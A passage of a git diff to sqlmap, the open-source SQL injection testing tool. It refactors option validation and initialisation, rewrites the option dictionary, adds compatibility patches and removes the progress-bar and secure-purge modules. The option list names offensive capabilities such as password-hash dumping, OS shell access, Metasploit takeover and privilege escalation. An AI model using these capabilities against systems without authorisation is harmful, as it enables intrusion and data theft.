should be used as a standalone" + raise SqlmapSyntaxException(errMsg) - if isinstance(conf.uCols, basestring): + if isinstance(conf.uCols, six.string_types): if not conf.uCols.isdigit() and ("-" not in conf.uCols or len(conf.uCols.split("-")) != 2): errMsg = "value for option '--union-cols' must be a range with hyphon " errMsg += "(e.g. 1-10) or integer value (e.g. 5)" - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) - if conf.charset: - try: - codecs.lookup(conf.charset) - except LookupError: - errMsg = "unknown charset '%s'. Please visit " % conf.charset + if conf.dbmsCred and ':' not in conf.dbmsCred: + errMsg = "value for option '--dbms-cred' must be in " + errMsg += "format : (e.g. \"root:pass\")" + raise SqlmapSyntaxException(errMsg) + + if conf.encoding: + _ = checkCharEncoding(conf.encoding, False) + if _ is None: + errMsg = "unknown encoding '%s'. Please visit " % conf.encoding errMsg += "'%s' to get the full list of " % CODECS_LIST_PAGE - errMsg += "supported charsets" - raise sqlmapSyntaxException, errMsg + errMsg += "supported encodings" + raise SqlmapSyntaxException(errMsg) + else: + conf.encoding = _ - if conf.loC: - if not os.path.exists(conf.loC): - errMsg = "cookies file '%s' does not exist" % conf.loC - raise sqlmapFilePathException, errMsg + if conf.fileWrite and not os.path.isfile(conf.fileWrite): + errMsg = "file '%s' does not exist" % os.path.abspath(conf.fileWrite) + raise SqlmapFilePathException(errMsg) -def __resolveCrossReferences(): - lib.core.threads.readInput = readInput - lib.core.common.getPageTemplate = getPageTemplate + if conf.loadCookies and not os.path.exists(conf.loadCookies): + errMsg = "cookies file '%s' does not exist" % os.path.abspath(conf.loadCookies) + raise SqlmapFilePathException(errMsg) -def init(inputOptions=AttribDict(), overrideOptions=False): +def initOptions(inputOptions=AttribDict(), overrideOptions=False): + _setConfAttributes() + _setKnowledgeBaseAttributes() + _mergeOptions(inputOptions, overrideOptions) + +def init(): """ Set attributes into both configuration and knowledge base singletons based upon command line and configuration file options. """ - __setConfAttributes() - __setKnowledgeBaseAttributes() - __mergeOptions(inputOptions, overrideOptions) - __useWizardInterface() - __setVerbosity() - __saveCmdline() - __setRequestFromFile() - __cleanupOptions() - __purgeOutput() - __checkDependencies() - __basicOptionValidation() - __setTorProxySettings() - __setDNSServer() - __adjustLoggingFormatter() - __setMultipleTargets() - __setTamperingFunctions() - __setTrafficOutputFP() - __resolveCrossReferences() - - parseTargetUrl() + _useWizardInterface() + setVerbosity() + _saveConfig() + _setRequestFromFile() + _cleanupOptions() + _cleanupEnvironment() + _purge() + _checkDependencies() + _createHomeDirectories() + _createTemporaryDirectory() + _basicOptionValidation() + _setProxyList() + _setTorProxySettings() + _setDNSServer() + _adjustLoggingFormatter() + _setMultipleTargets() + _listTamperingFunctions() + _setTamperingFunctions() + _setPreprocessFunctions() + _setPostprocessFunctions() + _setTrafficOutputFP() + _setupHTTPCollector() + _setHttpOptions() + parseTargetDirect() - if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.liveTest)): - __setHTTPTimeout() - __setHTTPExtraHeaders() - __setHTTPCookies() - __setHTTPReferer() - __setHTTPUserAgent() - __setHTTPMethod() - __setHTTPAuthentication() - __setHTTPProxy() - __setDNSCache() - __setSafeUrl() - __setGoogleDorking() - __setBulkMultipleTargets() - __urllib2Opener() - __checkTor() - __setCrawler() - __findPageForms() - __setDBMS() - __setTechnique() - - __setThreads() - __setOS() - __setWriteFile() - __setMetasploit() - __setDBMSAuthentication() + if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)): + _setHostname() + _setHTTPTimeout() + _setHTTPExtraHeaders() + _setHTTPCookies() + _setHTTPReferer() + _setHTTPHost() + _setHTTPUserAgent() + _setHTTPAuthentication() + _setHTTPHandlers() + _setDNSCache() + _setSocketPreConnect() + _setSafeVisit() + _doSearch() + _setStdinPipeTargets() + _setBulkMultipleTargets() + _checkTor() + _setCrawler() + _findPageForms() + _setDBMS() + _setTechnique() + + _setThreads() + _setOS() + _setWriteFile() + _setMetasploit() + _setDBMSAuthentication() + loadBoundaries() loadPayloads() - __setPrefixSuffix() + _setPrefixSuffix() update() - __loadQueries() + _loadQueries() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 68a3fdad7b0..c38e61eefde 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -1,200 +1,281 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ optDict = { - # Format: - # Family: { "parameter name": "parameter datatype" }, - # Or: - # Family: { "parameter name": ("parameter datatype", "category name used for common outputs feature") }, - "Target": { - "direct": "string", - "url": "string", - "logFile": "string", - "bulkFile": "string", - "requestFile": "string", - "googleDork": "string", - "configFile": "string" - }, - - "Request": { - "data": "string", - "pDel": "string", - "cookie": "string", - "loC": "string", - "cookieUrlencode": "boolean", - "dropSetCookie": "boolean", - "agent": "string", - "randomAgent": "boolean", - "rParam": "string", - "forceSSL": "boolean", - "host": "string", - "referer": "string", - "headers": "string", - "aType": "string", - "aCred": "string", - "aCert": "string", - "proxy": "string", - "pCred": "string", - "ignoreProxy": "boolean", - "delay": "float", - "timeout": "float", - "retries": "integer", - "scope": "string", - "safUrl": "string", - "saFreq": "integer", - "skipUrlEncode": "boolean", - "evalCode": "string" - }, - - "Optimization": { - "optimize": "boolean", - "predictOutput": "boolean", - "keepAlive": "boolean", - "nullConnection": "boolean", - "threads": "integer" - }, - - "Injection": { - "testParameter": "string", - "dbms": "string", - "os": "string", - "invalidBignum": "boolean", - "invalidLogical": "boolean", - "prefix": "string", - "suffix": "string", - "skip": "string", - "tamper": "string" - }, - - "Detection": { - "level": "integer", - "risk": "integer", - "string": "string", - "regexp": "string", - "code": "integer", - "textOnly": "boolean", - "titles": "boolean" - }, - - "Techniques": { - "tech": "string", - "timeSec": "integer", - "uCols": "string", - "uChar": "string", - "dName": "string" - }, - - "Fingerprint": { - "extensiveFp": "boolean" - }, - - "Enumeration": { - "getBanner": ("boolean", "Banners"), - "getCurrentUser": ("boolean", "Users"), - "getCurrentDb": ("boolean", "Databases"), - "isDba": "boolean", - "getUsers": ("boolean", "Users"), - "getPasswordHashes": ("boolean", "Passwords"), - "getPrivileges": ("boolean", "Privileges"), - "getRoles": ("boolean", "Roles"), - "getDbs": ("boolean", "Databases"), - "getTables": ("boolean", "Tables"), - "getColumns": ("boolean", "Columns"), - "getSchema": "boolean", - "getCount": "boolean", - "dumpTable": "boolean", - "dumpAll": "boolean", - "search": "boolean", - "db": "string", - "tbl": "string", - "col": "string", - "user": "string", - "excludeSysDbs": "boolean", - "limitStart": "integer", - "limitStop": "integer", - "firstChar": "integer", - "lastChar": "integer", - "query": "string", - "sqlShell": "boolean" - }, - - "Brute": { - "commonTables": "boolean", - "commonColumns": "boolean" - }, - - "User-defined function": { - "udfInject": "boolean", - "shLib": "string" - }, - - "File system": { - "rFile": "string", - "wFile": "string", - "dFile": "string" - }, - - "Takeover": { - "osCmd": "string", - "osShell": "boolean", - "osPwn": "boolean", - "osSmb": "boolean", - "osBof": "boolean", - "privEsc": "boolean", - "msfPath": "string", - "tmpPath": "string" - }, - - "Windows": { - "regRead": "boolean", - "regAdd": "boolean", - "regDel": "boolean", - "regKey": "string", - "regVal": "string", - "regData": "string", - "regType": "string" - }, - - "General": { - #"xmlFile": "string", - "trafficFile": "string", - "batch": "boolean", - "charset": "string", - "checkTor": "boolean", - "crawlDepth": "integer", - "csvDel": "string", - "dCred": "string", - "eta": "boolean", - "flushSession": "boolean", - "forms": "boolean", - "freshQueries": "boolean", - "hexConvert": "boolean", - "oDir": "string", - "parseErrors": "boolean", - "replicate": "boolean", - "updateAll": "boolean", - "tor": "boolean", - "torPort": "integer", - "torType": "string", - }, - - "Miscellaneous": { - "beep": "boolean", - "checkPayload": "boolean", - "cleanup": "boolean", - "dependencies": "boolean", - "disableHash": "boolean", - "disableLike": "boolean", - "googlePage": "integer", - "mobile": "boolean", - "pageRank": "boolean", - "smart": "boolean", - "tstF": "string", - "wizard": "boolean", - "verbose": "integer" - }, - } + # Family: {"parameter name": "parameter datatype"}, + # --OR-- + # Family: {"parameter name": ("parameter datatype", "category name used for common outputs feature")}, + + "Target": { + "direct": "string", + "url": "string", + "logFile": "string", + "bulkFile": "string", + "requestFile": "string", + "sessionFile": "string", + "googleDork": "string", + "configFile": "string", + }, + + "Request": { + "method": "string", + "data": "string", + "paramDel": "string", + "cookie": "string", + "cookieDel": "string", + "liveCookies": "string", + "loadCookies": "string", + "dropSetCookie": "boolean", + "http2": "boolean", + "agent": "string", + "mobile": "boolean", + "randomAgent": "boolean", + "host": "string", + "referer": "string", + "headers": "string", + "authType": "string", + "authCred": "string", + "authFile": "string", + "abortCode": "string", + "ignoreCode": "string", + "ignoreProxy": "boolean", + "ignoreRedirects": "boolean", + "ignoreTimeouts": "boolean", + "proxy": "string", + "proxyCred": "string", + "proxyFile": "string", + "proxyFreq": "integer", + "tor": "boolean", + "torPort": "integer", + "torType": "string", + "checkTor": "boolean", + "delay": "float", + "timeout": "float", + "retries": "integer", + "retryOn": "string", + "rParam": "string", + "safeUrl": "string", + "safePost": "string", + "safeReqFile": "string", + "safeFreq": "integer", + "skipUrlEncode": "boolean", + "csrfToken": "string", + "csrfUrl": "string", + "csrfMethod": "string", + "csrfData": "string", + "csrfRetries": "integer", + "forceSSL": "boolean", + "chunked": "boolean", + "hpp": "boolean", + "evalCode": "string", + }, + + "Optimization": { + "optimize": "boolean", + "predictOutput": "boolean", + "keepAlive": "boolean", + "nullConnection": "boolean", + "threads": "integer", + }, + + "Injection": { + "testParameter": "string", + "skip": "string", + "skipStatic": "boolean", + "paramExclude": "string", + "paramFilter": "string", + "dbms": "string", + "dbmsCred": "string", + "os": "string", + "invalidBignum": "boolean", + "invalidLogical": "boolean", + "invalidString": "boolean", + "noCast": "boolean", + "noEscape": "boolean", + "prefix": "string", + "suffix": "string", + "tamper": "string", + }, + + "Detection": { + "level": "integer", + "risk": "integer", + "string": "string", + "notString": "string", + "regexp": "string", + "code": "integer", + "smart": "boolean", + "textOnly": "boolean", + "titles": "boolean", + }, + + "Techniques": { + "technique": "string", + "timeSec": "integer", + "uCols": "string", + "uChar": "string", + "uFrom": "string", + "uValues": "string", + "dnsDomain": "string", + "secondUrl": "string", + "secondReq": "string", + }, + + "Fingerprint": { + "extensiveFp": "boolean", + }, + + "Enumeration": { + "getAll": "boolean", + "getBanner": ("boolean", "Banners"), + "getCurrentUser": ("boolean", "Users"), + "getCurrentDb": ("boolean", "Databases"), + "getHostname": "boolean", + "isDba": "boolean", + "getUsers": ("boolean", "Users"), + "getPasswordHashes": ("boolean", "Passwords"), + "getPrivileges": ("boolean", "Privileges"), + "getRoles": ("boolean", "Roles"), + "getDbs": ("boolean", "Databases"), + "getTables": ("boolean", "Tables"), + "getColumns": ("boolean", "Columns"), + "getSchema": "boolean", + "getCount": "boolean", + "dumpTable": "boolean", + "dumpAll": "boolean", + "search": "boolean", + "getComments": "boolean", + "getStatements": "boolean", + "db": "string", + "tbl": "string", + "col": "string", + "exclude": "string", + "pivotColumn": "string", + "dumpWhere": "string", + "user": "string", + "excludeSysDbs": "boolean", + "limitStart": "integer", + "limitStop": "integer", + "firstChar": "integer", + "lastChar": "integer", + "sqlQuery": "string", + "sqlShell": "boolean", + "sqlFile": "string", + }, + + "Brute": { + "commonTables": "boolean", + "commonColumns": "boolean", + "commonFiles": "boolean", + }, + + "User-defined function": { + "udfInject": "boolean", + "shLib": "string", + }, + + "File system": { + "fileRead": "string", + "fileWrite": "string", + "fileDest": "string", + }, + + "Takeover": { + "osCmd": "string", + "osShell": "boolean", + "osPwn": "boolean", + "osSmb": "boolean", + "osBof": "boolean", + "privEsc": "boolean", + "msfPath": "string", + "tmpPath": "string", + }, + + "Windows": { + "regRead": "boolean", + "regAdd": "boolean", + "regDel": "boolean", + "regKey": "string", + "regVal": "string", + "regData": "string", + "regType": "string", + }, + + "General": { + "trafficFile": "string", + "abortOnEmpty": "boolean", + "answers": "string", + "batch": "boolean", + "base64Parameter": "string", + "base64Safe": "boolean", + "binaryFields": "string", + "charset": "string", + "checkInternet": "boolean", + "cleanup": "boolean", + "crawlDepth": "integer", + "crawlExclude": "string", + "csvDel": "string", + "dumpFile": "string", + "dumpFormat": "string", + "encoding": "string", + "eta": "boolean", + "flushSession": "boolean", + "forms": "boolean", + "freshQueries": "boolean", + "googlePage": "integer", + "harFile": "string", + "hexConvert": "boolean", + "outputDir": "string", + "parseErrors": "boolean", + "postprocess": "string", + "preprocess": "string", + "repair": "boolean", + "saveConfig": "string", + "scope": "string", + "skipHeuristics": "boolean", + "skipWaf": "boolean", + "testFilter": "string", + "testSkip": "string", + "timeLimit": "float", + "unsafeNaming": "boolean", + "webRoot": "string", + }, + + "Miscellaneous": { + "alert": "string", + "beep": "boolean", + "dependencies": "boolean", + "disableColoring": "boolean", + "disableHashing": "boolean", + "listTampers": "boolean", + "noLogging": "boolean", + "noTruncate": "boolean", + "offline": "boolean", + "purge": "boolean", + "resultsFile": "string", + "tmpDir": "string", + "unstable": "boolean", + "updateAll": "boolean", + "wizard": "boolean", + "verbose": "integer", + }, + + "Hidden": { + "dummy": "boolean", + "disablePrecon": "boolean", + "profile": "boolean", + "forceDns": "boolean", + "murphyRate": "integer", + "smokeTest": "boolean", + }, + + "API": { + "api": "boolean", + "taskid": "string", + "database": "string", + } +} diff --git a/lib/core/patch.py b/lib/core/patch.py new file mode 100644 index 00000000000..bcd79982ec9 --- /dev/null +++ b/lib/core/patch.py @@ -0,0 +1,223 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import codecs +import collections +import inspect +import logging +import os +import random +import re +import sys + +import lib.controller.checks +import lib.core.common +import lib.core.convert +import lib.core.option +import lib.core.threads +import lib.request.connect +import lib.utils.search +import lib.utils.sqlalchemy +import thirdparty.ansistrm.ansistrm +import thirdparty.chardet.universaldetector + +from lib.core.common import filterNone +from lib.core.common import getSafeExString +from lib.core.common import isDigit +from lib.core.common import isListLike +from lib.core.common import readInput +from lib.core.common import shellExec +from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange +from lib.core.convert import stdoutEncode +from lib.core.data import conf +from lib.core.enums import PLACE +from lib.core.option import _setHTTPHandlers +from lib.core.option import setVerbosity +from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA +from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT +from lib.core.settings import IS_WIN +from lib.request.templates import getPageTemplate +from thirdparty import six +from thirdparty.six import unichr as _unichr +from thirdparty.six.moves import http_client as _http_client + +_rand = 0 + +def dirtyPatches(): + """ + Place for "dirty" Python related patches + """ + + # accept overly long result lines (e.g. SQLi results in HTTP header responses) + _http_client._MAXLINE = 1 * 1024 * 1024 + + # prevent double chunked encoding in case of sqlmap chunking (Note: Python3 does it automatically if 'Content-length' is missing) + if six.PY3: + if not hasattr(_http_client.HTTPConnection, "__send_output"): + _http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output + + def _send_output(self, *args, **kwargs): + if conf.get("chunked") and "encode_chunked" in kwargs: + kwargs["encode_chunked"] = False + self.__send_output(*args, **kwargs) + + _http_client.HTTPConnection._send_output = _send_output + + # add support for inet_pton() on Windows OS + if IS_WIN: + from thirdparty.wininetpton import win_inet_pton + + # Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440 + codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None) + + # Reference: http://bugs.python.org/issue17849 + if hasattr(_http_client, "LineAndFileWrapper"): + def _(self, *args): + return self._readline() + + _http_client.LineAndFileWrapper._readline = _http_client.LineAndFileWrapper.readline + _http_client.LineAndFileWrapper.readline = _ + + # to prevent too much "guessing" in case of binary data retrieval + thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90 + + match = re.search(r" --method[= ](\w+)", " ".join(sys.argv)) + if match and match.group(1).upper() != PLACE.POST: + PLACE.CUSTOM_POST = PLACE.CUSTOM_POST.replace("POST", "%s (body)" % match.group(1)) + + # Reference: https://github.com/sqlmapproject/sqlmap/issues/4314 + try: + os.urandom(1) + except NotImplementedError: + if six.PY3: + os.urandom = lambda size: bytes(random.randint(0, 255) for _ in range(size)) + else: + os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size)) + + # Reference: https://github.com/sqlmapproject/sqlmap/issues/5929 + try: + import collections + if not hasattr(collections, "MutableSet"): + import collections.abc + collections.MutableSet = collections.abc.MutableSet + except ImportError: + pass + + # Reference: https://github.com/sqlmapproject/sqlmap/issues/5727 + # Reference: https://stackoverflow.com/a/14076841 + try: + import pymysql + pymysql.install_as_MySQLdb() + except (ImportError, AttributeError): + pass + + # Reference: https://github.com/bottlepy/bottle/blob/df67999584a0e51ec5b691146c7fa4f3c87f5aac/bottle.py + # Reference: https://python.readthedocs.io/en/v2.7.2/library/inspect.html#inspect.getargspec + if not hasattr(inspect, "getargspec") and hasattr(inspect, "getfullargspec"): + ArgSpec = collections.namedtuple("ArgSpec", ("args", "varargs", "keywords", "defaults")) + + def makelist(data): + if isinstance(data, (tuple, list, set, dict)): + return list(data) + elif data: + return [data] + else: + return [] + + def getargspec(func): + spec = inspect.getfullargspec(func) + kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs) + return ArgSpec(kwargs, spec[1], spec[2], spec[3]) + + inspect.getargspec = getargspec + + # Installing "reversible" unicode (decoding) error handler + def _reversible(ex): + if INVALID_UNICODE_PRIVATE_AREA: + return (u"".join(_unichr(int('000f00%02x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end) + else: + return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end) + + codecs.register_error("reversible", _reversible) + + # Reference: https://github.com/sqlmapproject/sqlmap/issues/5731 + if not hasattr(logging, "_acquireLock"): + def _acquireLock(): + if logging._lock: + logging._lock.acquire() + + logging._acquireLock = _acquireLock + + if not hasattr(logging, "_releaseLock"): + def _releaseLock(): + if logging._lock: + logging._lock.release() + + logging._releaseLock = _releaseLock + +def resolveCrossReferences(): + """ + Place for cross-reference resolution + """ + + lib.core.threads.isDigit = isDigit + lib.core.threads.readInput = readInput + lib.core.common.getPageTemplate = getPageTemplate + lib.core.convert.filterNone = filterNone + lib.core.convert.isListLike = isListLike + lib.core.convert.shellExec = shellExec + lib.core.convert.singleTimeWarnMessage = singleTimeWarnMessage + lib.core.option._pympTempLeakPatch = pympTempLeakPatch + lib.request.connect.setHTTPHandlers = _setHTTPHandlers + lib.utils.search.setHTTPHandlers = _setHTTPHandlers + lib.controller.checks.setVerbosity = setVerbosity + lib.utils.sqlalchemy.getSafeExString = getSafeExString + thirdparty.ansistrm.ansistrm.stdoutEncode = stdoutEncode + +def pympTempLeakPatch(tempDir): + """ + Patch for "pymp" leaking directories inside Python3 + """ + + try: + import multiprocessing.util + multiprocessing.util.get_temp_dir = lambda: tempDir + except: + pass + +def unisonRandom(): + """ + Unifying random generated data across different Python versions + """ + + def _lcg(): + global _rand + a = 1140671485 + c = 128201163 + m = 2 ** 24 + _rand = (a * _rand + c) % m + return _rand + + def _randint(a, b): + _ = a + (_lcg() % (b - a + 1)) + return _ + + def _choice(seq): + return seq[_randint(0, len(seq) - 1)] + + def _sample(population, k): + return [_choice(population) for _ in xrange(k)] + + def _seed(seed): + global _rand + _rand = seed + + random.choice = _choice + random.randint = _randint + random.sample = _sample + random.seed = _seed diff --git a/lib/core/profiling.py b/lib/core/profiling.py index 92dea489fb2..a5936beadfe 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -1,91 +1,29 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import codecs -import os import cProfile +import os -from lib.core.common import getUnicode from lib.core.data import logger from lib.core.data import paths -from lib.core.settings import UNICODE_ENCODING -def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None): +def profile(profileOutputFile=None): """ This will run the program and present profiling data in a nice looking graph """ - try: - from extra.gprof2dot import gprof2dot - from extra.xdot import xdot - import gobject - import gtk - import pydot - except ImportError, e: - errMsg = "profiling requires third-party libraries (%s). " % getUnicode(e, UNICODE_ENCODING) - errMsg += "Quick steps:%s" % os.linesep - errMsg += "1) sudo apt-get install python-pydot python-pyparsing python-profiler graphviz" - logger.error(errMsg) - - return - if profileOutputFile is None: profileOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.raw") - if dotOutputFile is None: - dotOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.dot") - - if imageOutputFile is None: - imageOutputFile = os.path.join(paths.SQLMAP_OUTPUT_PATH, "sqlmap_profile.png") - if os.path.exists(profileOutputFile): os.remove(profileOutputFile) - if os.path.exists(dotOutputFile): - os.remove(dotOutputFile) - - if os.path.exists(imageOutputFile): - os.remove(imageOutputFile) - - infoMsg = "profiling the execution into file %s" % profileOutputFile - logger.info(infoMsg) - # Start sqlmap main function and generate a raw profile file cProfile.run("start()", profileOutputFile) - infoMsg = "converting profile data into a dot file '%s'" % dotOutputFile - logger.info(infoMsg) - - # Create dot file by using extra/gprof2dot/gprof2dot.py - # http://code.google.com/p/jrfonseca/wiki/Gprof2Dot - dotFilePointer = codecs.open(dotOutputFile, 'wt', UNICODE_ENCODING) - parser = gprof2dot.PstatsParser(profileOutputFile) - profile = parser.parse() - profile.prune(0.5/100.0, 0.1/100.0) - dot = gprof2dot.DotWriter(dotFilePointer) - dot.graph(profile, gprof2dot.TEMPERATURE_COLORMAP) - dotFilePointer.close() - - infoMsg = "converting dot file into a graph image '%s'" % imageOutputFile + infoMsg = "execution profiled and stored into file '%s' (e.g. 'gprof2dot -f pstats %s | dot -Tpng -o /tmp/sqlmap_profile.png')" % (profileOutputFile, profileOutputFile) logger.info(infoMsg) - - # Create graph image (png) by using pydot (python-pydot) - # http://code.google.com/p/pydot/ - pydotGraph = pydot.graph_from_dot_file(dotOutputFile) - pydotGraph.write_png(imageOutputFile) - - infoMsg = "displaying interactive graph with xdot library" - logger.info(infoMsg) - - # Display interactive Graphviz dot file by using extra/xdot/xdot.py - # http://code.google.com/p/jrfonseca/wiki/XDot - win = xdot.DotWindow() - win.connect('destroy', gtk.main_quit) - win.set_filter("dot") - win.open_file(dotOutputFile) - gobject.timeout_add(1000, win.update, dotOutputFile) - gtk.main() diff --git a/lib/core/progress.py b/lib/core/progress.py deleted file mode 100644 index cbe40799df4..00000000000 --- a/lib/core/progress.py +++ /dev/null @@ -1,89 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -from lib.core.common import getUnicode -from lib.core.common import dataToStdout -from lib.core.data import conf - -class ProgressBar: - """ - This class defines methods to update and draw a progress bar - """ - - def __init__(self, minValue=0, maxValue=10, totalWidth=None): - self.__progBar = "[]" - self.__oldProgBar = "" - self.__min = int(minValue) - self.__max = int(maxValue) - self.__span = self.__max - self.__min - self.__width = totalWidth if totalWidth else conf.progressWidth - self.__amount = 0 - self.update() - - def __convertSeconds(self, value): - seconds = value - minutes = seconds / 60 - seconds = seconds - (minutes * 60) - - return "%.2d:%.2d" % (minutes, seconds) - - def update(self, newAmount=0): - """ - This method updates the progress bar - """ - - if newAmount < self.__min: - newAmount = self.__min - elif newAmount > self.__max: - newAmount = self.__max - - self.__amount = newAmount - - # Figure out the new percent done, round to an integer - diffFromMin = float(self.__amount - self.__min) - percentDone = (diffFromMin / float(self.__span)) * 100.0 - percentDone = round(percentDone) - percentDone = int(percentDone) - - # Figure out how many hash bars the percentage should be - allFull = self.__width - 2 - numHashes = (percentDone / 100.0) * allFull - numHashes = int(round(numHashes)) - - # Build a progress bar with an arrow of equal signs - if numHashes == 0: - self.__progBar = "[>%s]" % (" " * (allFull - 1)) - elif numHashes == allFull: - self.__progBar = "[%s]" % ("=" * allFull) - else: - self.__progBar = "[%s>%s]" % ("=" * (numHashes - 1), - " " * (allFull - numHashes)) - - # Add the percentage at the beginning of the progress bar - percentString = getUnicode(percentDone) + "%" - self.__progBar = "%s %s" % (percentString, self.__progBar) - - def draw(self, eta=0): - """ - This method draws the progress bar if it has changed - """ - - if self.__progBar != self.__oldProgBar: - self.__oldProgBar = self.__progBar - - if eta and self.__amount < self.__max: - dataToStdout("\r%s %d/%d ETA %s" % (self.__progBar, self.__amount, self.__max, self.__convertSeconds(int(eta)))) - else: - blank = " " * (80 - len("\r%s %d/%d" % (self.__progBar, self.__amount, self.__max))) - dataToStdout("\r%s %d/%d%s" % (self.__progBar, self.__amount, self.__max, blank)) - - def __str__(self): - """ - This method returns the progress bar string - """ - - return getUnicode(self.__progBar) diff --git a/lib/core/purge.py b/lib/core/purge.py deleted file mode 100644 index 4bebd9336a8..00000000000 --- a/lib/core/purge.py +++ /dev/null @@ -1,78 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import os -import random -import shutil -import stat -import string - -from lib.core.data import logger - -def purge(directory): - """ - Safely removes content from a given directory - """ - - if not os.path.isdir(directory): - warnMsg = "skipping purging of directory '%s' as it does not exist" % directory - logger.warn(warnMsg) - return - - infoMsg = "purging content of directory ('%s'). Please wait as this could take a while" % directory - logger.info(infoMsg) - - filepaths = [] - dirpaths = [] - - for rootpath, directories, filenames in os.walk(directory): - dirpaths.extend([os.path.abspath(os.path.join(rootpath, _)) for _ in directories]) - filepaths.extend([os.path.abspath(os.path.join(rootpath, _)) for _ in filenames]) - - logger.debug("changing file attributes...") - for filepath in filepaths: - try: - os.chmod(filepath, stat.S_IREAD | stat.S_IWRITE) - except: - pass - - logger.debug("writing random data to files...") - for filepath in filepaths: - try: - filesize = os.path.getsize(filepath) - with open(filepath, 'w+b') as f: - f.write("".join(chr(random.randint(0, 255)) for _ in xrange(filesize))) - except: - pass - - logger.debug("truncating files...") - for filepath in filepaths: - try: - with open(filepath, 'w') as f: - pass - except: - pass - - logger.debug("renaming filenames to random values...") - for filepath in filepaths: - try: - os.rename(filepath, os.path.join(os.path.dirname(filepath), "".join(random.sample(string.letters, random.randint(4, 8))))) - except: - pass - - dirpaths.sort(cmp = lambda x, y: y.count(os.path.sep) - x.count(os.path.sep)) - - logger.debug("renaming directory names to random values...") - for dirpath in dirpaths: - try: - os.rename(dirpath, os.path.join(os.path.dirname(dirpath), "".join(random.sample(string.letters, random.randint(4, 8))))) - except: - pass - - logger.debug("deleting the whole directory tree...") - os.chdir(os.path.join(directory, "..")) - shutil.rmtree(directory) diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index 6243340a3f4..31349171be7 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -1,26 +1,25 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.data import logger -from lib.core.settings import IS_WIN -from lib.core.settings import PLATFORM - _readline = None - try: from readline import * import readline as _readline -except ImportError: +except: try: from pyreadline import * import pyreadline as _readline - except ImportError: + except: pass +from lib.core.data import logger +from lib.core.settings import IS_WIN +from lib.core.settings import PLATFORM + if IS_WIN and _readline: try: _outputfile = _readline.GetOutputFile() @@ -35,10 +34,10 @@ # Thanks to Boyd Waters for this patch. uses_libedit = False -if PLATFORM == 'mac' and _readline: +if PLATFORM == "mac" and _readline: import commands - (status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _readline.__file__ ) + (status, result) = commands.getstatusoutput("otool -L %s | grep libedit" % _readline.__file__) if status == 0 and len(result) > 0: # We are bound to libedit - new in Leopard @@ -56,9 +55,7 @@ # http://mail.python.org/pipermail/python-dev/2003-August/037845.html # has the original discussion. if _readline: - try: - _readline.clear_history() - except AttributeError: + if not hasattr(_readline, "clear_history"): def clear_history(): pass diff --git a/lib/core/replication.py b/lib/core/replication.py index db566fd142d..2474e72b52e 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -1,16 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from extra.safe2bin.safe2bin import safechardecode +import sqlite3 + +from lib.core.common import cleanReplaceUnicode +from lib.core.common import getSafeExString from lib.core.common import unsafeSQLIdentificatorNaming -from lib.core.exception import sqlmapMissingDependence -from lib.core.exception import sqlmapValueException +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapValueException +from lib.core.settings import UNICODE_ENCODING +from lib.utils.safe2bin import safechardecode -class Replication: +class Replication(object): """ This class holds all methods/classes used for database replication purposes. @@ -18,17 +24,16 @@ class Replication: def __init__(self, dbpath): try: - import sqlite3 - except ImportError: - errMsg = "missing module 'sqlite3' needed by switch '--replicate'" - raise sqlmapMissingDependence, errMsg - - self.dbpath = dbpath - self.connection = sqlite3.connect(dbpath) - self.connection.isolation_level = None - self.cursor = 